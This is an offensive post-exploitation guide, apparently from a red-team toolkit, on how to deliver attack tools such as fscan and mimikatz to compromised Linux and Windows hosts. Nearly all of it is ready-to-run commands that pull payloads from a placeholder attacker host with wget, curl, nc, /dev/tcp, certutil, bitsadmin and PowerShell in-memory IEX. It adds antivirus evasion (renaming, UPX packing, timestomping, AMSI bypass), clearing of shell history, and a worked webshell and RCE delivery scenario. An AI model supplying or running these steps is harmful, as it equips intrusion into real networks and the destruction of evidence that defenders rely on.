tool-delivery

Tool Delivery Methodology

After obtaining target access, the next step is usually to deliver tools (fscan, frp, chisel, linpeas, winPEAS, mimikatz, etc.) to the target for execution. This step seems simple, but in practice the choice of method directly affects the success rate and stealthiness.

Payload Repository (Arsenal)

This repositorydoes not includeprecompiled binaries. On the attack machine you need to prepare a payload directory yourself (hereinafter referred to as arsenal), storing by tool name in subdirectories, each subdirectory containing builds for each platform—for example fscan/, gogo/, zombie/, spray/, cdk/, iox/, frpc/, chisel/, etc., each with binaries for the three platforms linux_amd64, linux_arm64, windows_amd64.

Tool sources: download from each project's official Release page (such as fscan, gogo, frp, chisel, etc.), or distribute uniformly via an internal/self-built artifact repository. The directory location is up to you; the examples below uniformly use $ARSENAL to refer to it.

# 自行约定 arsenal 根目录
export ARSENAL=~/arsenal
ls $ARSENAL/
# fscan/  gogo/  zombie/  spray/  cdk/  iox/  frpc/  chisel/

ls $ARSENAL/fscan/
# fscan_linux_amd64  fscan_linux_arm64  fscan_windows_amd64.exe

Before delivery, select the correct binary based on the target platform:

# 确认目标架构
uname -m   # Linux: x86_64 → amd64, aarch64 → arm64
# Windows: echo %PROCESSOR_ARCHITECTURE%  → AMD64

# 从 arsenal 选择对应版本
python3 -m http.server 8888 --directory $ARSENAL/fscan/

Core Principle: Why Execute on the Target

Executing tools locally through a proxy tunnel vs. transferring tools to the target for direct execution is not an arbitrary choice:

Factor	Local execution through tunnel	Direct execution on target
Network traffic	All scanning traffic goes through the tunnel, bandwidth-limited	Traffic is sent directly from the target, no bottleneck
ICMP	SOCKS5 does not support ICMP, liveness detection fails	ICMP packets are sent normally, liveness detection works normally
UDP	SOCKS5 usually does not support UDP	Normal UDP communication
Speed	Limited by both tunnel bandwidth and latency	Direct intranet connection, millisecond-level latency
Stability	Tunnel disconnect = scan interruption	Does not depend on the tunnel
Stealthiness	Abnormal traffic pattern (large amount of data through a single tunnel)	More like normal intranet communication
Risk	No risk of tool landing on disk	Tool binary may be detected by AV

Conclusion: Intranet scanning/brute-force tools (fscan, nmap, masscan) should almost always be transferred to the target for execution. Only lightweight one-off requests (a quick curl, a DNS lookup) are suitable to be done locally through the tunnel.

Under Linux the AV detection risk is usually very low (most Linux servers have no EDR), so delivery risk can be ignored. Under Windows more caution is needed, see the antivirus response section below.

Decision Tree: Which Transfer Method to Choose

目标能出网?
├─ 是 → 目标有 wget/curl?
│       ├─ 是 → wget/curl 从攻击机 HTTP 服务下载（最快最简单）
│       └─ 否 → 目标有 python?
│               ├─ 是 → python urllib 下载
│               └─ 否 → 目标是 Linux → /dev/tcp 或 base64 管道
│                        目标是 Windows → certutil / bitsadmin / PowerShell
├─ 否（不出网）→ 有隧道/代理?
│       ├─ 是 → 通过隧道 scp / HTTP 反向下载
│       └─ 否 → 有 webshell?
│               ├─ 是 → webshell 文件上传功能
│               └─ 否 → base64 编码通过 RCE 写入 → 解码
└─ 特殊 → 目标在 K8s Pod / Docker 容器
         → kubectl cp / docker cp

Linux File Transfer

Method 1: wget / curl (first choice, most commonly used)

Start an HTTP service on the attack machine:

# 攻击机：在工具目录开 HTTP
cd /path/to/tools
python3 -m http.server 8888
# 或指定绑定地址
python3 -m http.server 8888 --bind 0.0.0.0

Download on the target machine:

# wget（最常见，几乎所有 Linux 发行版都有）
wget http://ATTACKER:8888/fscan -O /tmp/fscan && chmod +x /tmp/fscan

# curl（macOS 默认只有 curl 没有 wget）
curl http://ATTACKER:8888/fscan -o /tmp/fscan && chmod +x /tmp/fscan

# curl 静默模式
curl -sO http://ATTACKER:8888/fscan && chmod +x fscan

Method 2: Python download

python3 -c "import urllib.request; urllib.request.urlretrieve('http://ATTACKER:8888/fscan', '/tmp/fscan')"
python2 -c "import urllib; urllib.urlretrieve('http://ATTACKER:8888/fscan', '/tmp/fscan')"

Method 3: nc (Netcat) transfer

No need for an HTTP service, suitable for minimalist environments:

# 攻击机（发送端）
nc -lvp 4444 < fscan

# 目标机（接收端）
nc ATTACKER 4444 > /tmp/fscan
chmod +x /tmp/fscan

Reverse mode (the target cannot connect to the attack machine, but the attack machine can connect to the target):

# 目标机（监听）
nc -lvp 4444 > /tmp/fscan

# 攻击机（连过去发送）
nc TARGET 4444 < fscan

Method 4: /dev/tcp (Bash built-in, no external tools needed)

When the target minimal environment (busybox, docker containers, etc.) does not have wget/curl/nc:

# 攻击机开 nc 监听
nc -lvp 4444 < fscan

# 目标机用 bash 内建接收
cat < /dev/tcp/ATTACKER/4444 > /tmp/fscan
chmod +x /tmp/fscan

Method 5: base64 encoded transfer (written via RCE/webshell)

The ultimate solution when the target has no outbound network access at all and commands can only be executed through a vulnerability:

# 攻击机：编码
base64 -w0 fscan > fscan.b64
# 文件大的话分块
split -b 50000 fscan.b64 chunk_

# 目标机：逐块写入再解码
echo 'BASE64_CHUNK_1' >> /tmp/fscan.b64
echo 'BASE64_CHUNK_2' >> /tmp/fscan.b64
base64 -d /tmp/fscan.b64 > /tmp/fscan
chmod +x /tmp/fscan
md5sum /tmp/fscan  # 校验完整性

This method is slow but universal—as long as commands can be executed, files can be transferred. For large files (>1MB), chunking is recommended to avoid command line length limits.

Method 6: SCP / SFTP (when SSH credentials are available)

# 从攻击机推送到目标
scp fscan user@TARGET:/tmp/fscan
scp -i id_rsa fscan user@TARGET:/tmp/fscan

# 通过跳板机
scp -o ProxyJump=user@JUMP fscan user@TARGET:/tmp/fscan

Windows File Transfer

Method 1: certutil (LOLBin, built into the system)

certutil -urlcache -split -f http://ATTACKER:8888/tool.exe C:\Windows\Temp\tool.exe

certutil is a certificate tool, but it can download arbitrary files. Antivirus may monitor this command, but it still works in many environments.

Method 2: PowerShell

# 下载文件
Invoke-WebRequest -Uri http://ATTACKER:8888/tool.exe -OutFile C:\Windows\Temp\tool.exe

# 简写
iwr http://ATTACKER:8888/tool.exe -o C:\Windows\Temp\tool.exe

# .NET 方式（更底层，有时能绕过策略）
(New-Object Net.WebClient).DownloadFile('http://ATTACKER:8888/tool.exe','C:\Windows\Temp\tool.exe')

# 内存执行（不落地文件，PowerShell 脚本专用）
IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER:8888/script.ps1')

Method 3: bitsadmin (built-in background download)

bitsadmin /transfer job /download /priority high http://ATTACKER:8888/tool.exe C:\Windows\Temp\tool.exe

BITS is the background transfer service used by Windows Update, and is more stealthy than certutil.

Method 4: SMB share (first choice for intranet transfer)

:: 攻击机开 SMB 共享（用 impacket）
:: python3 smbserver.py share /path/to/tools -smb2support

:: 目标机直接执行（不落地！）
\\ATTACKER\share\tool.exe

:: 或者拷贝过来
copy \\ATTACKER\share\tool.exe C:\Windows\Temp\tool.exe

SMB is very natural in intranet environments and is not likely to trigger alerts.

Method 5: base64 + PowerShell

# 攻击机编码
$bytes = [IO.File]::ReadAllBytes("tool.exe")
[Convert]::ToBase64String($bytes) | Out-File tool.b64

# 目标机解码
$b64 = "BASE64_STRING_HERE"
[IO.File]::WriteAllBytes("C:\Windows\Temp\tool.exe", [Convert]::FromBase64String($b64))

Method 6: FTP

:: 攻击机：python3 -m pyftpdlib -p 21
ftp -s:commands.txt
:: commands.txt 内容：
:: open ATTACKER
:: anonymous
:: binary
:: get tool.exe
:: bye

Antivirus Countermeasures

Linux

Linux servers rarely have AV/EDR. If they do, consider:

• Change directory:/dev/shm/(memory file system, does not write to disk),/tmp/、/var/tmp/
• Rename: do not use the original tool name (fscan → a random name such as svc_check）
• Delete immediately after execution:./tool args; rm -f tool
• memfd fileless execution (advanced): via /proc/self/fd/ load

Windows

AV detection is stricter on Windows and requires more techniques:

• Change the name：mimikatz.exe → svc_diag.exe
• Change directory：C:\Windows\Temp\、C:\ProgramData\, user Temp directory
• UPX packing：upx -9 tool.exe, change the file hash
• Timestamp forgery：timestomp modify the file time
• SMB remote execution(no file drop):\\share\tool.exe run directly
• PowerShell in-memory loading：IEX download a string and execute it directly without writing a file
• AMSI bypass: when PowerShell scripts are blocked, AMSI must be bypassed first

Trace Cleanup

After the tool finishes executing, clean up:

# Linux
rm -f /tmp/fscan /tmp/result.txt
# 如果在 /dev/shm 执行，重启自动清除
# 清理 bash_history
history -c && unset HISTFILE
# 或精准删除
sed -i '/fscan/d' ~/.bash_history

# Windows
del /f C:\Windows\Temp\tool.exe
del /f C:\Windows\Temp\result.txt
# 清除 PowerShell 历史
Remove-Item (Get-PSReadlineOption).HistorySavePath

Example Practical Workflow

Scenario: deliver fscan through a webshell to perform intranet scanning

Step 1: 攻击机开 HTTP 服务
  python3 -m http.server 8888

Step 2: 通过 webshell 执行下载命令
  wget http://VPS:8888/fscan -O /tmp/.s && chmod +x /tmp/.s

Step 3: 执行扫描
  /tmp/.s -h 10.0.0.0/24 -o /tmp/.r

Step 4: 读取结果
  cat /tmp/.r  （通过 webshell 读取）

Step 5: 清理
  rm -f /tmp/.s /tmp/.r

Scenario: transfer tools via base64 in an environment with no outbound network access

Step 1: 攻击机编码
  base64 -w0 fscan | head -c 50000   # 确认大小，评估分块数

Step 2: 分块写入（通过 RCE 漏洞）
  echo 'CHUNK1...' > /tmp/.b
  echo 'CHUNK2...' >> /tmp/.b

Step 3: 解码执行
  base64 -d /tmp/.b > /tmp/.s && chmod +x /tmp/.s
  md5sum /tmp/.s  # 校验

Step 4: 执行 + 清理
  /tmp/.s -h 10.0.0.0/24 -o /tmp/.r && rm -f /tmp/.s /tmp/.b